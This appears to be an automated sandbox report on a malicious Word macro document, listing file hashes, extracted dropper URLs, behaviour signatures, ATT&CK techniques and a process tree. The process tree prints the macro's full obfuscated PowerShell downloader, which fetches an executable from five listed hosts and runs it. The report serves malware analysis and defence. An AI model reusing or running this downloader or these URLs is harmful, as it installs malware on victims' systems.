18a6526484e5033509f6fefbba3439f48ef0be087c696f210f349f6a90924616

General

Target

da1a528cf5e82cd4c1ba6b48a1ea3468_JaffaCakes118.doc
Size

74KB
MD5

da1a528cf5e82cd4c1ba6b48a1ea3468
SHA1

998f61de008968c34acbfaf4f95e81d7c938cf7e
SHA256

18a6526484e5033509f6fefbba3439f48ef0be087c696f210f349f6a90924616
SHA512

9caabf922b45059807346214c6b3b5451c78727a02064190d971e605cd9b5e3528e9b13f0c70419d52988adaa9a0d5316e472c0bd964b2fb771c0f6f0eebb277
SSDEEP

768:FtVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBd8LTTnLlCiJRz9wORjKkh58/460B:Ftocn1kp59gxBK85fBCLTbJCNw6Z+a96

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://samix-num.com/BcFUhvDr

exe.dropper

http://economiadigital.biz/NKq5eOZ

exe.dropper

http://ftp.dailyignite.club/YNB95t2

exe.dropper

http://migoshen.org/FNE1TVJjI

exe.dropper

http://vanoostrom.org/w8yXb69h5

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4324	2752	cmd.exe	82

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2408	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2752	WINWORD.EXE
2752	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2408	powershell.exe
2408	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2408	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
2752	WINWORD.EXE
2752	WINWORD.EXE
2752	WINWORD.EXE
2752	WINWORD.EXE
2752	WINWORD.EXE
2752	WINWORD.EXE
2752	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2752 wrote to memory of 1836	2752	WINWORD.EXE	85
PID 2752 wrote to memory of 1836	2752	WINWORD.EXE	85
PID 2752 wrote to memory of 4324	2752	WINWORD.EXE	88
PID 2752 wrote to memory of 4324	2752	WINWORD.EXE	88
PID 4324 wrote to memory of 2408	4324	cmd.exe	90
PID 4324 wrote to memory of 2408	4324	cmd.exe	90

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\da1a528cf5e82cd4c1ba6b48a1ea3468_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2752
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1836
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $Prairie80='Internal14';$Massachusetts17=new-object Net.WebClient;$Somalia94='http://samix-num.com/BcFUhvDr@http://economiadigital.biz/NKq5eOZ@http://ftp.dailyignite.club/YNB95t2@http://migoshen.org/FNE1TVJjI@http://vanoostrom.org/w8yXb69h5'.Split('@');$solutions78='extend49';$eenable81 = '53';$NorthCarolina56='Lake74';$Rubber84=$env:public+'\'+$eenable81+'.exe';foreach($UgandaShilling85 in $Somalia94){try{$Massachusetts17.DownloadFile($UgandaShilling85, $Rubber84);$Concrete67='endtoend42';If ((Get-Item $Rubber84).length -ge 80000) {Invoke-Item $Rubber84;$Sleek97='ClothingGarden23';break;}}catch{}}$Wooden49='Greens14';
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4324
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell $Prairie80='Internal14';$Massachusetts17=new-object Net.WebClient;$Somalia94='http://samix-num.com/BcFUhvDr@http://economiadigital.biz/NKq5eOZ@http://ftp.dailyignite.club/YNB95t2@http://migoshen.org/FNE1TVJjI@http://vanoostrom.org/w8yXb69h5'.Split('@');$solutions78='extend49';$eenable81 = '53';$NorthCarolina56='Lake74';$Rubber84=$env:public+'\'+$eenable81+'.exe';foreach($UgandaShilling85 in $Somalia94){try{$Massachusetts17.DownloadFile($UgandaShilling85, $Rubber84);$Concrete67='endtoend42';If ((Get-Item $Rubber84).length -ge 80000) {Invoke-Item $Rubber84;$Sleek97='ClothingGarden23';break;}}catch{}}$Wooden49='Greens14';
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2408

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\5CFD6BB9.wmf

Filesize
494B

MD5
2ec92c2a6da5ea80a5d4148f62ecb4cf

SHA1
06aa6a813cbfb6c1ceb595c981f8b52893b93ec5

SHA256
45743c9a341b156bc37be11b7acbd0e64a122933f9af45cce9972e2d364b7770

SHA512
d7aaa521c9b815e09a0ef5dba6af35bbf9bffd297f449692fb43443ec48b25fabce4067d8d5a1a93c4246be2a911bd667ea7acf40f649d9f2ebcb14416131f65

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDE048.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bp1za0xw.ow3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2408-42-0x000001B6685E0000-0x000001B668602000-memory.dmp

Filesize
136KB

Download
memory/2752-15-0x00007FFCC1790000-0x00007FFCC1985000-memory.dmp

Filesize
2.0MB

Download
memory/2752-17-0x00007FFC7F7B0000-0x00007FFC7F7C0000-memory.dmp

Filesize
64KB

Download
memory/2752-9-0x00007FFCC1790000-0x00007FFCC1985000-memory.dmp

Filesize
2.0MB

Download
memory/2752-8-0x00007FFCC1790000-0x00007FFCC1985000-memory.dmp

Filesize
2.0MB

Download
memory/2752-7-0x00007FFCC1790000-0x00007FFCC1985000-memory.dmp

Filesize
2.0MB

Download
memory/2752-6-0x00007FFCC1790000-0x00007FFCC1985000-memory.dmp

Filesize
2.0MB

Download
memory/2752-11-0x00007FFCC1790000-0x00007FFCC1985000-memory.dmp

Filesize
2.0MB

Download
memory/2752-13-0x00007FFCC1790000-0x00007FFCC1985000-memory.dmp

Filesize
2.0MB

Download
memory/2752-12-0x00007FFCC1790000-0x00007FFCC1985000-memory.dmp

Filesize
2.0MB

Download
memory/2752-14-0x00007FFCC1790000-0x00007FFCC1985000-memory.dmp

Filesize
2.0MB

Download
memory/2752-3-0x00007FFCC182D000-0x00007FFCC182E000-memory.dmp

Filesize
4KB

Download
memory/2752-16-0x00007FFC7F7B0000-0x00007FFC7F7C0000-memory.dmp

Filesize
64KB

Download
memory/2752-10-0x00007FFCC1790000-0x00007FFCC1985000-memory.dmp

Filesize
2.0MB

Download
memory/2752-0-0x00007FFC81810000-0x00007FFC81820000-memory.dmp

Filesize
64KB

Download
memory/2752-1-0x00007FFC81810000-0x00007FFC81820000-memory.dmp

Filesize
64KB

Download
memory/2752-5-0x00007FFC81810000-0x00007FFC81820000-memory.dmp

Filesize
64KB

Download
memory/2752-4-0x00007FFC81810000-0x00007FFC81820000-memory.dmp

Filesize
64KB

Download
memory/2752-56-0x00007FFCC1790000-0x00007FFCC1985000-memory.dmp

Filesize
2.0MB

Download
memory/2752-57-0x00007FFCC1790000-0x00007FFCC1985000-memory.dmp

Filesize
2.0MB

Download
memory/2752-2-0x00007FFC81810000-0x00007FFC81820000-memory.dmp

Filesize
64KB

Download
memory/2752-573-0x00007FFC81810000-0x00007FFC81820000-memory.dmp

Filesize
64KB

Download
memory/2752-574-0x00007FFC81810000-0x00007FFC81820000-memory.dmp

Filesize
64KB

Download
memory/2752-576-0x00007FFC81810000-0x00007FFC81820000-memory.dmp

Filesize
64KB

Download
memory/2752-575-0x00007FFC81810000-0x00007FFC81820000-memory.dmp

Filesize
64KB

Download
memory/2752-577-0x00007FFCC1790000-0x00007FFCC1985000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads